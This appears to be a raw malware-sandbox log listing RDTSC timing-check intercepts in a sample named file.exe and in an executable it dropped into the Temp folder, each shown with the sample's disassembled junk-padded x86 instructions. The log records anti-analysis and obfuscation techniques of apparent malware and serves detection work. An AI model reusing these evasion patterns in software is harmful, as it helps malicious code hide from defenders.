Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC019F second address: 4CC01A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01A5 second address: 4CC021F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8C5451FBC0h 0x0000000f push eax 0x00000010 pushad 0x00000011 push edx 0x00000012 mov si, 5583h 0x00000016 pop esi 0x00000017 pushfd 0x00000018 jmp 00007F8C5451FBC9h 0x0000001d sbb ah, 00000006h 0x00000020 jmp 00007F8C5451FBC1h 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 pushad 0x00000029 mov ecx, 7A9CB7AFh 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F8C5451FBC1h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC021F second address: 4CC0254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007F8C5452242Eh 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8C5452242Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0254 second address: 4CC0258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0258 second address: 4CC025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC025E second address: 4CC02AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8C5451FBBCh 0x00000008 pop esi 0x00000009 jmp 00007F8C5451FBBBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F8C5451FBC9h 0x00000017 xchg eax, ebx 0x00000018 jmp 00007F8C5451FBBEh 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02AC second address: 4CC02C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02C9 second address: 4CC0342 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8C5451FBC7h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e call 00007F8C5451FBBBh 0x00000013 push ecx 0x00000014 pop ebx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F8C5451FBC5h 0x0000001c sub ax, 4806h 0x00000021 jmp 00007F8C5451FBC1h 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, edi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F8C5451FBC8h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0342 second address: 4CC0346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0346 second address: 4CC034C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC034C second address: 4CC035D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5452242Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0381 second address: 4CC03C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F8C5451FBC1h 0x00000010 sub edi, edi 0x00000012 jmp 00007F8C5451FBC7h 0x00000017 inc ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03C8 second address: 4CC03CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03CC second address: 4CC03D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC046D second address: 4CC047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5452242Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04CA second address: 4CC04D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04D0 second address: 4CC053F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 484AB547h 0x00000008 call 00007F8C5452242Ch 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jg 00007F8CC53003CAh 0x00000017 pushad 0x00000018 pushad 0x00000019 push ecx 0x0000001a pop edx 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007F8C54522434h 0x00000022 adc si, A658h 0x00000027 jmp 00007F8C5452242Bh 0x0000002c popfd 0x0000002d popad 0x0000002e js 00007F8C54522479h 0x00000034 jmp 00007F8C54522436h 0x00000039 cmp dword ptr [ebp-14h], edi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC053F second address: 4CC055C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC055C second address: 4CC057C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F8CC530035Bh 0x00000010 pushad 0x00000011 mov eax, edx 0x00000013 movsx edx, cx 0x00000016 popad 0x00000017 mov ebx, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC057C second address: 4CC0580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0580 second address: 4CC0595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0595 second address: 4CC05E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c jmp 00007F8C5451FBBEh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 mov eax, 75DEF623h 0x00000019 mov ch, D1h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushfd 0x0000001f jmp 00007F8C5451FBBBh 0x00000024 jmp 00007F8C5451FBC3h 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05E8 second address: 4CC061D instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F8C54522432h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8C54522437h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC061D second address: 4CC0641 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0641 second address: 4CC0645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0645 second address: 4CC0649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0649 second address: 4CC064F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06CC second address: 4CC0009 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007F8C5451FBBEh 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F8C5451FBBEh 0x00000019 adc esi, 5E4F7468h 0x0000001f jmp 00007F8C5451FBBBh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F8C5451FBC8h 0x0000002b and cx, 46C8h 0x00000030 jmp 00007F8C5451FBBBh 0x00000035 popfd 0x00000036 popad 0x00000037 je 00007F8CC52FDACBh 0x0000003d xor eax, eax 0x0000003f jmp 00007F8C544F92EAh 0x00000044 pop esi 0x00000045 pop edi 0x00000046 pop ebx 0x00000047 leave 0x00000048 retn 0004h 0x0000004b nop 0x0000004c mov edi, eax 0x0000004e cmp edi, 00000000h 0x00000051 setne al 0x00000054 xor ebx, ebx 0x00000056 test al, 01h 0x00000058 jne 00007F8C5451FBB7h 0x0000005a jmp 00007F8C5451FCA9h 0x0000005f call 00007F8C58CB7330h 0x00000064 mov edi, edi 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 mov ah, bl 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0009 second address: 4CC000E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC000E second address: 4CC0024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov dx, A6DCh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0024 second address: 4CC0058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C54522430h 0x00000009 or ecx, 5B037FF8h 0x0000000f jmp 00007F8C5452242Bh 0x00000014 popfd 0x00000015 mov bl, cl 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c mov si, A727h 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0058 second address: 4CC0067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop esi 0x0000000c mov bl, 1Ch 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0067 second address: 4CC006D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C17 second address: 4CC0C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C5451FBBFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C2B second address: 4CC0C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 cmp dword ptr [75AF459Ch], 05h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C5452242Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C46 second address: 4CC0C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C4C second address: 4CC0C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C50 second address: 4CC0C7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F8CC52ED95Dh 0x0000000e jmp 00007F8C5451FBC7h 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C7B second address: 4CC0C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0031 second address: 4CD0041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0041 second address: 4CD0045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0045 second address: 4CD0056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edi, ax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0056 second address: 4CD005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD005B second address: 4CD00C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov ax, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 mov ebx, esi 0x00000013 movzx eax, bx 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b call 00007F8C5451FBC5h 0x00000020 pop eax 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007F8C5451FBC1h 0x00000028 adc ch, 00000036h 0x0000002b jmp 00007F8C5451FBC1h 0x00000030 popfd 0x00000031 popad 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 movzx ecx, bx 0x0000003c mov ecx, edi 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD00C2 second address: 4CD0132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8C5452242Bh 0x00000013 sbb si, 851Eh 0x00000018 jmp 00007F8C54522439h 0x0000001d popfd 0x0000001e push ecx 0x0000001f pushad 0x00000020 popad 0x00000021 pop edx 0x00000022 popad 0x00000023 call 00007F8CC52E7E99h 0x00000028 push 75A92B70h 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov eax, dword ptr [esp+10h] 0x00000038 mov dword ptr [esp+10h], ebp 0x0000003c lea ebp, dword ptr [esp+10h] 0x00000040 sub esp, eax 0x00000042 push ebx 0x00000043 push esi 0x00000044 push edi 0x00000045 mov eax, dword ptr [75AF4538h] 0x0000004a xor dword ptr [ebp-04h], eax 0x0000004d xor eax, ebp 0x0000004f push eax 0x00000050 mov dword ptr [ebp-18h], esp 0x00000053 push dword ptr [ebp-08h] 0x00000056 mov eax, dword ptr [ebp-04h] 0x00000059 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000060 mov dword ptr [ebp-08h], eax 0x00000063 lea eax, dword ptr [ebp-10h] 0x00000066 mov dword ptr fs:[00000000h], eax 0x0000006c ret 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 pushfd 0x00000071 jmp 00007F8C54522434h 0x00000076 jmp 00007F8C54522435h 0x0000007b popfd 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01B1 second address: 4CD01B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01B5 second address: 4CD01D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01D2 second address: 4CD01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01D8 second address: 4CD01DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01DC second address: 4CD0202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp+08h], 00002000h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0202 second address: 4CD0208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0019 second address: 4CE0053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8C5451FBC7h 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8C5451FBC7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0053 second address: 4CE00C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8C54522432h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F8C54522437h 0x00000016 adc ch, FFFFFFCEh 0x00000019 jmp 00007F8C54522439h 0x0000001e popfd 0x0000001f mov edi, esi 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8C54522439h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00C5 second address: 4CE00CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00CB second address: 4CE00FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522433h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C54522435h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00FC second address: 4CE011C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dl, 3Dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C5451FBC1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE011C second address: 4CE0131 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0131 second address: 4CE018F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8C5451FBC3h 0x00000013 xor ax, E00Eh 0x00000018 jmp 00007F8C5451FBC9h 0x0000001d popfd 0x0000001e call 00007F8C5451FBC0h 0x00000023 pop eax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE018F second address: 4CE01AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C54522437h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE01AA second address: 4CE0205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8C5451FBC1h 0x00000013 and ah, 00000056h 0x00000016 jmp 00007F8C5451FBC1h 0x0000001b popfd 0x0000001c mov dx, ax 0x0000001f popad 0x00000020 mov edx, eax 0x00000022 popad 0x00000023 test esi, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov esi, ebx 0x0000002a call 00007F8C5451FBC7h 0x0000002f pop ecx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0205 second address: 4CE021E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C54522435h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE021E second address: 4CE0231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F8CC52CDD47h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0231 second address: 4CE0236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0236 second address: 4CE027D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 jmp 00007F8C5451FBBEh 0x00000015 je 00007F8CC52E5DEDh 0x0000001b jmp 00007F8C5451FBC0h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE027D second address: 4CE0281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0281 second address: 4CE0285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0285 second address: 4CE028B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE037C second address: 4CE0380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0380 second address: 4CE0386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0386 second address: 4CE038C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE038C second address: 4CE03CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F8C54522430h 0x00000011 pushfd 0x00000012 jmp 00007F8C54522432h 0x00000017 sub esi, 0E2C6FC8h 0x0000001d jmp 00007F8C5452242Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE042D second address: 4CE0443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: D7F1CE second address: D7F1D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	RDTSC instruction interceptor: First address: D7F1D5 second address: D7F1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C5451FBC5h 0x0000000f rdtsc
